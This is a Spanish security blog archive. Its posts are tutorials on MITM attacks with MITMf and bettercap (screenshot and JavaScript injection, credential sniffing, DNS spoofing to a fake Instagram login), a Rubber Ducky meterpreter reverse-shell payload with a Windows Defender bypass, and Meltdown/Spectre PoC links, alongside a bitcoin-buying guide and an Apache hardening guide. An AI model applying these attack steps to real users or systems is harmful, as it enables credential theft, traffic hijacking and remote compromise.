martes, 16 de enero de 2018

Screenshot remoto sobre la página que visita un usuario, a través de un MITM


La semana pasada estuvimos hablando de Bettercap y cómo usar sus características avanzadas tales como la customización de parsers y la inyección de código en peticiones HTTP interceptadas. Ahora comenzaremos a ver MITMf, otra herramienta para realizar ataques de Sniffing/MITM.

Si bien mi herramienta preferida para esto es Bettercap por diversos motivos, MITMf tiene algunos plugins extremadamente interesantes, iremos viendo algunos de ellos. Hoy trataremos “ScreenShotter”.

Como es la primera nota sobre MITMf, a continuación explicaremos cómo descargarla y ejecutarla correctamente. 

DESCARGA Y EJECUCIÓN
Hacemos un git clone del siguiente repositorio: https://github.com/byt3bl33d3r/MITMf.
Instalamos las dependencias con el siguiente comando:
sudo apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file
Finalmente instalamos las dependencias propias de python, si tenemos pip, nos movemos a la carpeta descargada de MITMf y ejecutamos: sudo pip install -r requirements.txt
Si todo salió bien ya podemos hacer sudo python mitmf.py --help


Como podemos observar, si ejecutamos el comando, la ayuda es bastante larga. MITMf posee muchos plugins. Si buscamos entre ellos, encontraremos ScreenShotter.


Pero antes de poner manos a la obra con este plugin, debemos conocer los parámetros básicos requeridos por MITMf.

Para empezar, MITMf nos pide que sí o sí especifiquemos la IP del gateway, la/s IP de los targets y la interfaz que estamos utilizando. Estos parámetros son: --gateway <ip_gateway>, --targets <ip_targets> y -i <interfaz>.

Luego, como mínimo necesitamos ejecutar un ataque de MITM, para ello le sumaremos a los anteriores, los siguientes dos parámetros: --spoof y --arp.

Dicho esto, un ataque de MITM básico hecho con MITMf nos quedaría así:

sudo python mitmf.py --spoof --arp --gateway 192.168.43.1 --targets 192.168.43.209 -i wlp1s0


Con ello, podremos ver las peticiones HTTP realizadas por el usuario, el contenido POST de las mismas, así como también la información de otros protocolos.
Tal como he mencionado, ahora haremos foco sobre el plugin ScreenShotter, para utilizarlo, simplemente debemos añadir al comando anterior el siguiente parámetro: --screen.


Como vemos, cuando el usuario ingresa a un sitio web vía HTTP, el payload del plugin es inyectado en la respuesta dirigida al usuario. De esta manera se carga en su navegador, permitiéndole al atacante ver la página que está visitando (esto incluye ver lo que está tipeando en los formularios si aplicara el caso).

Por defecto ScreenShotter toma capturas cada 10 segundos.


Podemos alterar este tiempo utilizando el parámetro --interval <segundos> si así lo quisiéramos.
Todas las capturas de pantalla son almacenadas en la carpeta “Logs” dentro de la carpeta de MITMf. Así que nos dirigimos allí y abrimos las capturas con cualquier visor de imágenes.



¿Interesante verdad? Espero que les sea de utilidad!
Hasta el próximo plugin! 😉.

Author: Sheila A. Berta.
Tw: @UnaPibaGeek.
Web: www.semecayounexploit.com.

sábado, 13 de enero de 2018

Bettercap parte II: Inyección de código en requerimientos HTTP y DNS Spoofing


Hace unos días publiqué la parte I de esta nota, donde expliqué la descarga e instalación de bettercap y cómo utilizar parsers custom para visualizar fácilmente lo que nos interesa en un ataque de MITM. Si se la perdieron pueden comenzar leyendo por allí.

En esta segunda y última parte veremos los módulos para inyectar código en el cuerpo de los requerimientos HTTP interceptados. Además, aprenderemos a hacer un DNS spoofing con esta herramienta.

INYECCIÓN DE CÓDIGO EN PETICIONES HTTP INTERCEPTADAS
Si consultamos la ayuda de bettercap, ejecutando bettercap --help, podemos ver una característica muy interesante bajo el parámetro --proxy-module.



Los módulos disponibles son: redirect, injectjs, injectcss e injecthtml.
Cuando utilizamos alguno de estos módulos, las respuestas de requerimientos HTTP realizados por el usuario se ven alteradas, al estar el atacante en medio (MITM) inyectando código en ellas. El código inyectado dependerá del módulo que utilicemos, por ejemplo, si utilizamos redirect, simplemente se inyectará una redirección hacia otro sitio. Si utilizamos injectcss u injecthtml podremos alterar el contenido visual del sitio, y si utilizamos injectjs (inyección de JavaScript) el abanico de ataques se amplifica bastante.

Haremos foco en este último: injectjs.

Como se mencionó, nos permite inyectar código JavaScript. El mismo lo pondremos en un archivo .js y le pasaremos la ruta como valor al parámetro --js-file, que va acompañado de --proxy-module injectjs.

El comando completo quedará de la siguiente forma:

sudo bettercap --proxy --proxy-module injectjs --js-file /home/shei/inyectar.js -T <ip_del_target>

Hagamos una simple prueba, creando el archivo inyectar.js con el siguiente contenido:
<script>alert(“Texto inyectado a través de un MITM”);</script>
Lo guardamos y ejecutamos bettercap:



Cuando el usuario ingrese a un sitio HTTP, se inyectará el código JavaScript



Y será lo primero que verá



¿Qué usos prácticos podemos darle a este módulo? A través de JavaScript podemos hacer redirecciones, robo de cookies, denegación de servicio y un largo etcétera. Incluso podemos usar el conocido framework BeEF e inyectar el hook.js a través de este MITM.

En mi caso, utilice esté módulo cuando programé el pequeño JavaScript que ayuda a sobreescribir la base de datos HSTS de Firefox.




Si gustan más información sobre este ataque pueden ver los slides de la presentación en Black Hat:
https://www.blackhat.com/docs/eu-17/materials/eu-17-Berta-Breaking-Out-HSTS-And-HPKP-On-Firefox-IE-Edge-And-Possibly-Chrome.pdf.

DNS SPOOFING
En sencillas palabras, la idea tras esta técnica es, que cuando el usuario consulte por la IP de un dominio, el atacante le responda con otra IP (diferente a la real) perteneciente a un equipo bajo su control. De esta manera, si el usuario ingresa -por ejemplo- a www.instagram.com y se realiza la resolución DNS para obtener la IP del sitio, el atacante será quien le dé la repuesta, logrando que el usuario finalmente ingrese a un servidor bajo su control.

Habitualmente está técnica se utiliza para hostear una página exactamente igual a la que el usuario intenta ingresar originalmente, con el pequeño detalle de que las credenciales o la información que el usuario provea allí, será capturado por el atacante.

El principal inconveniente de esta técnica es el caché, ya que, si el usuario tiene en su cache DNS la IP del sitio al cual está tratando de ingresar, la consulta no saldrá del entorno local y el atacante no será capaz de interceptarla a través del MITM y alterar la respuesta.
Veámoslo en la práctica.

En primer lugar, crearemos un archivo llamado fakedns con el siguiente contenido:

Ip_lan_atacante    instagram.com

Por ejemplo:

192.168.43.109        instagram.com

En este caso, hay un servidor web Apache en la máquina del atacante, el cual está accesible a través de la dirección IP del equipo.
Guardamos el archivo como “fakedns” y lo utilizaremos en bettercap de la siguiente manera:

sudo bettercap -T <ip_del_target> --dns /home/shei/fakedns


Cuando el usuario ingrese a instagram.com a través de su navegador, si el sitio no está cacheado, el usuario terminará accediendo al servidor web en la máquina del atacante, donde puede haber lo que sea.



En la máquina del usuario:



Si en lugar del index de Apache, se encontrara una copia de instagram.com (algo que podemos hacer muy fácilmente con SET o cualquier otra herramienta) y en tal copia se encontrara alterado el formulario de autenticación, de manera que los datos queden almacenados para el atacante, el usuario finalmente perdería la confidencialidad de los datos de su cuenta.

Hasta aquí con Bettercap, espero que puedan sacarle provecho a la herramienta! 😊
Nos leemos en la próxima!.

Author: Sheila A. Berta
Tw: @UnaPibaGeek.
Web: www.semecayounexploit.com.

sábado, 6 de enero de 2018

[PAPERS/INFO/PoCs] Meltdown & Spectre


En lugar de escribir otra nota más del montón sobre Meltdown & Spectre, vamos a dejar a continuación una lista de recursos de información, papers y PoCs  que nos resultaron interesantes.


PAPERS:
https://meltdownattack.com/meltdown.pdf
https://spectreattack.com/spectre.pdf

CVE:
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-5715
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-5753
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-5754

PoC's:
https://www.exploit-db.com/exploits/43427/
https://github.com/Eugnis/spectre-attack 
https://github.com/harsaroopdhillon/meltdown
https://github.com/mniip/spectre-meltdown-poc
https://github.com/corsix/meltdown-poc
https://github.com/raphaelsc/Am-I-affected-by-Meltdown
https://github.com/lgeek/spec_poc_arm
https://github.com/paboldin/meltdown-exploit
https://github.com/speed47/spectre-meltdown-checker (checker)
https://github.com/Viralmaniar/In-Spectre-Meltdown (checker)
https://github.com/GitMirar/meltdown-poc/blob/master/
https://blogs.technet.microsoft.com/ralphkyttle/2018/01/05/verifying-spectre-meltdown-protections-remotely/ (checker)
http://xlab.tencent.com/special/spectre/spectre_check.html (checker)

INFORMACIÓN CON APORTES (NO NOTICIAS):

[ESPAÑOL] 
https://blog.segu-info.com.ar/2018/01/vulnerabilidad-en-los-procesadores.html
https://blog.segu-info.com.ar/2018/01/meltdown-y-spectre-pesadilla-en-la.html 
http://www.elladodelmal.com/2018/01/el-caos-que-genera-metldown-spectre-con.html
https://www.welivesecurity.com/la-es/2018/01/05/vulnerabilidades-spectre-meltdown-todo-lo-que-necesitas-saber/ 
http://blog.elevenpaths.com/2018/01/internet-se-ha-roto-otra-vez-y-iii.html

[INGLÉS]
https://security.googleblog.com/2018/01/todays-cpu-vulnerability-what-you-need.html?m=1 
https://googleprojectzero.blogspot.com.ar/2018/01/reading-privileged-memory-with-side.html
https://www.anandtech.com/show/12214/understanding-meltdown-and-spectre
https://www.virusbulletin.com/blog/2018/01/meltdown-and-spectre-attacks-mitigated-operating-system-updates/
https://isc.sans.edu/diary/23197
https://www.renditioninfosec.com/2018/01/meltdown-and-sceptre-enterprise-action-plan/ 
https://www.wired.com/story/critical-intel-flaw-breaks-basic-security-for-most-computers/ 
http://appleinsider.com/articles/18/01/03/apple-has-already-partially-implemented-fix-in-macos-for-kpti-intel-cpu-security-flaw 
https://www.coindesk.com/meltdown-spectre-cpu-flaws-mean-cryptocurrency
https://nakedsecurity.sophos.com/2018/01/03/fckwit-aka-kaiser-aka-kpti-intel-cpu-flaw-needs-low-level-os-patches/?platform=hootsuite
https://medium.com/@pwnallthethings/time-travelling-exploits-with-meltdown-1189548f1e1d
https://medium.com/@sekuryti/meltdown-more-like-letdown-433926f8d743
http://www.securityweek.com/qualcomm-working-mitigations-spectre-meltdown 

LOS AFECTADOS DICEN...
https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00088&languageid=en-fr
http://www.amd.com/en/corporate/speculative-execution 
https://developer.arm.com/support/security-update/download-the-whitepaper
https://support.apple.com/en-us/HT208394
https://support.microsoft.com/en-hk/help/4073119/protect-against-speculative-execution-side-channel-vulnerabilities-in
https://azure.microsoft.com/es-es/blog/securing-azure-customers-from-cpu-vulnerability/
https://aws.amazon.com/de/security/security-bulletins/AWS-2018-013/

INFORMACIÓN EN CUENTAS DE TWITTER:
https://twitter.com/misc0110/status/948706387491786752
https://twitter.com/ssantosv 
https://twitter.com/gsuberland/status/948907452786933762
https://twitter.com/securelyfitz/status/949370010652196864

INFORMACIÓN DE CSIRTs:
https://www.ba-csirt.gob.ar/index.php?u=ver-noticia&id=174
https://www.us-cert.gov/ncas/alerts/TA18-004A

PARCHES/SOLUCIONES:
Firefox -> https://www.mozilla.org/en-US/firefox/57.0.4/releasenotes/
Microsoft -> https://www.catalog.update.microsoft.com/Search.aspx?q=KB4056892
Android -> https://source.android.com/security/bulletin/2018-01-01
Chrome -> https://www.chromium.org/Home/chromium-security/site-isolation
VMWare -> https://www.vmware.com/us/security/advisories/VMSA-2018-0002.html
Linux -> https://github.com/IAIK/KAISER
https://github.com/torvalds/linux/commit/abb7099dbc7a77f8674083050028c493ac601228
ARM -> https://developer.arm.com/support/security-update
 

martes, 2 de enero de 2018

Bettercap parte I: Uso de parsers custom


y.. todo aquel que me conoce sabe bien que no soy muy partidaria de las herramientas, que siempre hago a mano lo más que se pueda, incluso aquello que todos odian hacer a mano :-) que si uso herramientas son muy puntuales para algo y que NetCat siempre será my favorite tool ;-).
Entre ese acotado y selecto arsenal de herramientas que tengo se encuentra Bettercap, que como su nombre quiere expresar, es una versión mejorada del famoso ettercap. Hoy en día, si tengo que hacer un Sniffing/MITM desde Linux, utilizo bettercap para ello.

En esta nota no solo contaré los parámetros básicos como para que cualquiera que nunca haya usado esta herramienta pueda hacerlo, sino también, haré foco sobre las características avanzadas que tiene, como los módulos de inyección de código en el tráfico interceptado y la “customización” de parsers.

DESCARGA E INSTALACIÓN
Bettercap es una herramienta open source, la cual podemos descargar desde el github de mi amigo @evilsocket, el desarrollador de la misma -> https://github.com/evilsocket/bettercap.
En la documentación del propio github podemos ver los pasos de instalación para cada sistema operativo. Si queremos hacerlo desde el source, los comandos son los siguientes:

git clone https://github.com/evilsocket/bettercap
cd bettercap
gem build bettercap.gemspec
sudo gem install bettercap*.gem


USO BÁSICO
Si ejecutamos “bettercap”, sin parámetros, la herramienta realizará un escaneo continuo para identificar equipos en la red LAN. Si no tenemos las máquinas previamente enumeradas, este modo de ejecución puede ser muy útil para comenzar.


Hay tres parámetros básicos, son los siguientes:
-T <Targets>
-G <Gateway>
-I <Interface>

El único de ellos que es 100% necesario es -T para especificar el target o los targets (separados con coma). El gateway no es necesario especificar a menos que veamos que bettercap está detectando automáticamente como gateway un dispositivo que no lo es. La interfaz la especificaremos si tenemos más de una en nuestro equipo y la que se toma por defecto no es la que queremos utilizar.

El MITM más rápido y sencillo para ejecutar es simplemente: bettercap -P ‘*’ -T <ip_del_target>


Como podemos ver en la imagen, se muestra la información de autenticación de una conexión FTP, así como diversos resquests HTTP y HTTPS.
Notamos que hemos usado el parámetro -P ‘*’.  El mismo es para la selección de parsers, esto nos permite jugar con lo que queremos ver en pantalla y así filtrar lo que realmente nos interesa. A continuación, veremos el tema de los parsers en profundidad.

SELECCIÓN DE PARSERS Y PARSERS CUSTOMIZADOS
Si ejecutamos "bettercap --help" podemos ver bajo la opción -P los parsers disponibles.


Con esta lista es fácil filtrar por lo que nos interesa ver, podemos utilizar varios parsers separándolos por coma, por ejemplo: -P FTP,MAIL,POST.
El parser POST es especialmente interesante ya que nos muestra en un formato muy agradable la información de las peticiones POST del usuario vía HTTP. Esto suele incluir información de formularios de autenticación. Para utilizarlo haremos uso del proxy HTTP que configura bettercap localmente, para ello añadiremos el parámetro --proxy al comando.


Al autenticarnos en una web vía HTTP, las credenciales enviadas por POST serán mostradas en la consola del atacante.


Ahora bien, bettercap no solo nos permite jugar con los parsers predefinidos sino también armar uno a nuestra medida!. El parámetro para ello es “--custom-parser EXPRESSION” donde como valor podemos utilizar inclusive expresiones regulares. La customización de parsers puede ser sumamente útil en múltiples ocasiones, por ejemplo, si lo que nos interesa de la máquina objetivo es el contenido de un tipo de archivo en particular, que se pudiera estar transfiriendo. En ese caso podemos utilizar como valor para --custom-parser la cabecera que define el tipo de archivo. Por otro lado, si nos interesara capturar los datos de un formulario HTML en particular, podemos pasar al --custom-parser el nombre de alguno de los campos de ese formulario, de manera que cuando el usuario interactúe con el mismo lo veamos claramente en la consola.

Veamos este último ejemplo. Para este caso me interesa capturar las credenciales de un formulario donde uno de sus campos tiene como nombre “código”, así que ese será el valor para mi --custom-parser.


Veamos que ocurre cuando el valor del parser custom es detectado:


Notemos que no se nos ha mostrado el contenido de todas las peticiones HTTP tal como ocurre si utilizamos el parser POST, sino que sólo se nos ha mostrado bajo "[DATA]" aquella petición POST que contiene el parser custom que hemos utilizado. En definitiva, nos está mostrando la información únicamente del formulario que nos interesa ver, ahorrándonos el mirar muchísimas líneas con contenido que no nos sirve.

Tal como ya mencioné anteriormente, este es tan solo un simple ejemplo de lo útil que pueden ser los parsers customizados. La cantidad de información capturada en un MITM suele ser demasiada como para encontrar fácilmente lo que buscamos, aunque desde luego que podemos mandar todo a un .pcap y luego utilizar otras herramientas para su análisis. De hecho bettercap tiene el parámetro --sniffer-output  al cual podemos pasar como valor dónde guardar el pcap. Por ejemplo: --sniffer-output /home/shei/micaptura.pcap.

Bueno, voy a parar aquí para que la nota no se haga muy larga. En la parte II veremos los módulos para inyección de código a través del MITM y algunas otras características de bettercap que pueden ser muy útiles.

Buen comienzo de 2018! Hasta la próxima!.

Author: Sheila A. Berta.
Tw: @UnaPibaGeek.
Web: www.semecayounexploit.com.

martes, 26 de diciembre de 2017

Comprar Bitcoins utilizando PayPal


Voy a comenzar esta nota contando la historia de mi vida que aún no he superado: por supuesto que conozco las criptomonedas desde que me inicié en esto, desde que bitcoin era mineable con una GPU. Cuando tenía unos 15 años, estuve entre comprarme una ATI (una de las más recomendadas para minar en aquel entonces) o una PlayStation 2. ¿Adivinen quién se equivocó y se compró la PS2? Yo. Si hubiera comprado la placa ATI en aquel entonces, hoy no estaría acá escribiendo esta nota :@ en fin, algún día lo superaré xD.

Bueno ahora sí, hace poco recibí a través de PayPal el reembolso de uno de mis viajes a una conferencia. Si eres sudaca al igual que yo, sabrás que es prácticamente imposible sacar el dinero de ahí xD así que me puse a investigar que medios había para comprar Bitcoins utilizando PayPal.
Lo cierto es que, si queremos comprar BTC con una tarjeta de crédito, hay una gran variedad de opciones en la web para ello. Pero cuando se trata de PayPal, es difícil hallar un sitio que no cobre una comisión totalmente incoherente. En principio me he encontrado con webs que cobraban hasta un 40% o 50% de comisión, lo cual es una locura. Luego, consultando un poco a mis amigos que saben del tema (@SeguInfo & @agramajo) me recomendaron hacer la compra a través de VirWox.

VirWox en principio cobra una comisión de alrededor del 3% (si, solo %3) utilizando PayPal, pero hay que tener presente ciertos requisitos y limitaciones que pretendo contarles en esta nota, para quienes nunca han comprado BTC usando PayPal.

Allí vamos, paso a paso:

CREACIÓN DE CUENTA EN VIRWOX
El primer paso, es una simple registración en https://www.virwox.com/register.php, en la cual no hay que especificar mucho más que un nombre de usuario, correo y contraseña.

Recomendación: una vez que accedimos por primera vez, podemos ir a Mi Cuenta -> Cambio de Opciones y activar la autenticación Multi-Factor.

DEPÓSITO DE DINERO EN VIRWOX
Para poder hacer cualquier tipo de compra, es necesario en primer lugar depositar dinero en nuestra cuenta de VirWox. Aquí es donde vamos a utilizar PayPal.

Limitación: VirWox solo acepta depósitos de cuentas de PayPal verificadas. Con verificada no se refiere a la verificación de correo electrónico, sino a la que se hace a través de la tarjeta de crédito. Cuando se solicita esta verificación, PayPal cargará un monto de USD$ 1 en tu tarjeta de crédito, cuya descripción de cargo tendrá un número de 4 dígitos. Cuando puedas visualizar ese número en tu resumen de movimientos, podrás utilizarlo para confirmar y validar la tarjeta de crédito que tienes en PayPal, a partir de ahí, tu cuenta será verificada y VirWox aceptará depósitos desde la misma.


Autenticados en nuestra cuenta de VirWox, hacemos click en “Depósito” en el menú lateral izquierdo.



Entre las opciones de medios para hacer depósitos, encontraremos la de PayPal.

Limitación: Las cuentas recién creadas pueden hacer un depósito máximo de USD$ 105 por día, durante un plazo de solo 3 días. Es decir que solo podrás depositar un máximo de alrededor de 300 dólares en 3 días, de a 100 dólares por día. Una vez que alcances ese límite, tendrás que esperar aproximadamente 15 días hasta que tu cuenta suba automáticamente de nivel cero a nivel uno.
Una vez que tu cuenta esté en nivel uno, podrás depositar un máximo de USD$ 144 por día, con un total máximo de USD$ 1080 al mes. 


En mi caso mi cuenta es de nivel uno, por lo que haré un depósito de USD $120.



Al presionar en “Pague con PayPal” se nos abrirá un enlace en este medio para realizar el pago.


Inmediatamente después de pagar, se nos mostrará el siguiente mensaje:

 

Y el depósito se verá reflejado en el estado de la cuenta, como podemos ver en la siguiente imagen, se ha cobrado una comisión: de los USD$ 120 que depositamos, nos quedó USD$ 116,61. No es tan malo en comparación a las comisiones del 40% o más que se cobran otros servicios para hacer lo mismo.




CAMBIO DE USD A SLL
La compra directa de USD a BTC no es posible a través de VirWox, hay que pasar primero de USD A SLL. El proceso lleva unos pocos segundos.

En el menú lateral de la izquierda seleccionamos USD/SLL.


Allí especificamos que queremos vender USD$ 116 a cambio de lo que corresponda en el momento que lo hagan, el valor suele alterarse rápidamente.



Colocamos la orden.



A tener en cuenta: Tal como se observa en el mensaje de la imagen anterior, por el cambio de USD a SLL se cobra una pequeña comisión también. Esto se nos suma a lo anterior, lo cierto es que por cada operación perdemos un poco, aunque insisto que sigue siendo mucho menos que en otros sitios web.

Al presionar en “Coloque la orden!”, el cambio se realiza inmediatamente.


Esto ya lo podemos ver reflejado en el balance de nuestra cuenta




CAMBIO DE SLL A BTC
Ahora si, el paso final para la compra de Bitcoins. Seleccionamos BTC/SLL en el menú lateral izquierdo.



Especificamos que queremos comprar X cantidad de BTC, lo que corresponda en el momento que lo hagan, según la cantidad de SLL que tengan.


Colocamos la orden, todo exactamente igual a cuando cambiamos de USD a SLL, y walá, ya tenemos nuestros bitcoins.


En este caso se sumaron a 0.007 BTC que ya tenía de una compra anterior.

RETIRAR LOS BTC
Podemos retirar los Bitcoins de VirWox, a nuestra billetera BTC donde sea que la tengamos. Para ello hacemos click en “Retiro” en el menú lateral izquierdo.


Allí especificamos la cantidad de Bitcoins que deseamos retirar, así como la dirección de la billetera.


A tener en cuenta: si es el primer retiro de bitcoins que realizamos, VirWox pondrá a prueba nuestra ansiedad revisando la operación manualmente para aprobarla, esto tardará de 24 a 48hs. A partir del segundo movimiento de retiro, ya no es necesario una validación y se procesará tan rápido como la red Bitcoin lo desee xD.



Bueno, esto es todo. Espero que les sea de gran utilidad la nota, si alguien conoce otros sitios web alternativos para comprar con PayPal que cobren una comisión razonable publíquenlo en los comentarios de la nota 😊.

Por cierto, si alguien quiere donarme un satoshi por este tutorial, esta es la dirección de una de mis wallets: 1B8b1zT6d1m2HJUQpYtRps4GEWgJA5m9fJ
:’D

Nos vemos en la próxima!.

Author: Sheila A. Berta
Twitter: @UnaPibaGeek
Web: www.semecayounexploit.com

miércoles, 30 de agosto de 2017

Hardening en Apache Web Server


  A raíz de un test que me tocó hacer me vi obligada a detallar una pequeña guía práctica personal para asegurar y hacer un hardening en Apache Web Server.

  La realidad es que hay mucha información sobre cómo configurar “mod_security” y otros firewalls de aplicaciones embebibles para proteger nuestro servidor pero, en la mayoría de los casos, no se mencionan ciertas configuraciones básicas que nos aportan un gran valor al nivel de seguridad del mismo. Vamos a proceder a presentar algunas...

  Voy a asumir que todos usan HTTPS y redireccionan a todo el mundo que quiera entrar por HTTP para saltar esa parte e ir directamente a lo que me interesa explicar. Al contar con varias opciones voy a explicar una por una que es lo que hacen, sin entrar en detalles del tipo “qué es HSTS” ya que está más que documentado.

  Todos los parámetros de configuración que se listarán se deben añadir al final del apache.conf - apache2.conf - httpd.conf de nuestro servidor. Algunas opciones ya vienen marcadas por defecto tal y como las voy a mencionar, pero voy a mostrarlas de todos modos para asegurarnos de que si se decide cambiarlas en un futuro, no nos afecte en absoluto.

WEB SERVER FINGERPRINT


  Por defecto Apache nos devolverá su nombre, versión y probablemente mucha más información que no le interesa a nadie con buenas intenciones xD. Vamos a cambiar este comportamiento:

ServerTokens Prod
ServerSignature Off

  Una vez hecho esto veremos que en las cabeceras, Apache simplemente arrojará como dato que es un Apache, sin dar ningún dato más.

ETAGS

  Los ETags dan demasiada información al igual que el Fingerprint. Vamos a demandarle a nuestro Apache que si el documento proviene de un archivo no genere este campo:

FileETag None

  Con esto ya nos aseguramos de que nuestro servidor provea la menor cantidad de información posible, o que al menos se haya reducido considerablemente.

TRACE

  Otra cosa que no se tiene en cuenta generalmente es deshabilitar este método, que se
puede utilizar en distintos vectores de ataque, así que lo vamos a hacer:

TraceEnable off

PROTOCOLOS DE CIFRADO

  No todos los protocolos de cifrado son seguros, así que vamos a decirle a nuestro servidor que solo acepte aquellos en los que confiamos y, estos, quedan a elección según el juicio personal de cada uno de ustedes:

SSLCipherSuite HIGH:!MEDIUM:!aNULL:!MD5:!RC4
SSLProtocol -ALL +TLSv1 +TLSv1.1 +TLSv1.2

  La primera línea limita qué cifrados puede utilizar el cliente para conectarse y la segunda rechaza todos los protocolos habilitando únicamente TLS.

DISMINUIR VECTORES DE ATAQUE

  Vamos a añadir algunos headers que nos van a servir para eliminar una cantidad considerable de vectores de ataque que son muy fáciles de realizar y que con las configuraciones por defecto no son mitigados:

Header always append X-Frame-Options SAMEORIGIN
Header edit Set-Cookie ^(.*)$ $1;HttpOnly;Secure
Header always append X-XSS-Protection "1; mode=block"
Header always append X-Content-Type-Options nosniff
Header always set Strict-Transport-Security "max-age=63072000; includeSubdomains;"

  Así evitamos que nuestra web pueda ser insertada en un iframe en otro servidor, aseguramos todas las cookies y HttpOnly, cortamos la ejecución de XSS si el navegador lo detecta (no todos lo soportan), evitamos que el navegador haga MIME-sniffing y por último habilitamos HSTS.

GUARDAMOS Y REINICIAMOS

  Luego de un save and restart httpd, nuestro Apache WS ya es un servidor que da el mínimo de información a un atacante y a la vez protege el tráfico de nuestros usuarios.
  Como aclaración quiero recordar que este artículo no es una implementación única y definitiva para asegurar sus servidores web Apache y no se pretende sustituir la cantidad innumerable de tutoriales que hay circulando, sino que se pueda complementar con estos. Los parámetros presentados se deben adicionar a otras herramientas como mod_security, fail2ban o las que deseen.

  Espero les sirva este pequeño artículo y puedan seguir desarrollando sus habilidades para además de saber atacar, saber defenderse.

¡Nos leemos pronto!
Sol (@0zz4n5).

domingo, 20 de agosto de 2017

Meterpreter con Rubber Ducky


Domingo a la noche, mañana por suerte es feriado :) hace frío... había que buscar algo para hacer. En realidad tengo una tonelada de cosas para hacer :( pero queriendo salir de la rutina, miré hacia mi izquierda y vi ahí tirado un Rubber Ducky que me traje de Delloite la última vez que visité a mi amigo @clucianomartins :)

Aún no había jugado con este juguete, aunque ya lo conocía. Me propuse buscar la forma más fácil y rápida de obtener una sesión de meterpreter en el target, utilizando este hardware de Hak5.

Si leyeron algún paper mío, sabrán que mi forma favorita de obtener una sesión de meterpreter en un objetivo es a través de un archivo .SCT.  y es mi manera favorita por la capacidad de evadir AV/IDS que tiene este método y además porque si está bien configurado, funciona muy rápido.

Implementé esta técnica con Eternalromance en el paper que escribí sobre cómo aprovechar dicha vulnerabilidad en Windows Server 2016, y a partir de ahí, Microsoft creó una firma para Windows Defender de manera que ahora me detecta mi ataque favorito (wahhh los odio xD).  Pero le dí una vuelta de tuerca más y ya pude obtener mi sesión de meterpreter bypasseando el Defender ;-).

Esa será la técnica que utilizaremos ahora con Rubber Ducky, para obtener rápidamente una sesión de meterpreter en el target.

La herramienta que necesitamos para generar el payload en formato .SCT es ps1encode, la descargamos desde aquí: https://github.com/CroweCybersecurity/ps1encode.

Vamos a realizarle una pequeña modificación, para saltarnos el Defender de ahora xD abrimos el script ps1encode.rb con cualquier editor de texto, y nos dirigimos a la línea 99. Allí, donde se ejecuta el comando que genera el payload, añadiremos lo siguiente: -e x86/shikata_ga_nai -b '\\x00'.

Quedará así:


Ahora sí, guardamos y utilizamos esta versión del script.
Generamos el payload con los siguientes parámetros: sudo ./ps1encode.rb --PAYLOAD windows/meterpreter/reverse_tcp --LHOST=[IP_ATACANTE] --LPORT=1337 -t sct


Esto nos creará un archivo llamado index.sct en esa misma carpeta. Lo que debemos hacer es asignar permisos 777 a ese archivo y moverlo a donde tenemos el servidor web en la máquina atacante. Usualmente en /var/www/html.
La idea es que este archivo .sct pueda ser accedido de la siguiente forma: http://IP_ATACANTE/index.sct.

La última línea que vemos en la salida del comando, es lo que se debe ejecutar en la máquina target. La copiaremos a nuestro script para el Rubber Ducky.


Ese es todo el script que necesitamos, en el lenguaje que entiende el Rubber Ducky. Entre algunos delay's, lo que hace es abrir la ventana de "run" y escribir el comando necesario.

Utilizaremos la web: https://www.ducktoolkit.com/encoder/ para generar el .bin para el Rubber Ducky.


Un paso súper importante aquí, es seleccionar el idioma de teclado correcto a la derecha. En mi caso seleccioné "Spain" porque la máquina target tiene el teclado en español.


Presionamos en "Generate Script" y tras unos segundos contaremos con la siguiente opción:


Al presionar "Inject.bin" se nos descargará ese archivo, el cual tenemos que copiar a la MicroSD del Rubber Ducky.



Una vez hecho esto, ya tenemos el Rubber Ducky listo para usar. El siguiente paso es configurar el multi/handler de Metasploit para recibir la conexión inversa.


Una vez que conectamos el Rubber Ducky en la máquina target, obtenemos la sesión de meterpreter...



Bueno, espero que les sea de utilidad :)
¡Nos leemos pronto!.

Author: Sheila A. Berta 
Tw: @UnaPibaGeek.
Web: www.semecayounexploit.com.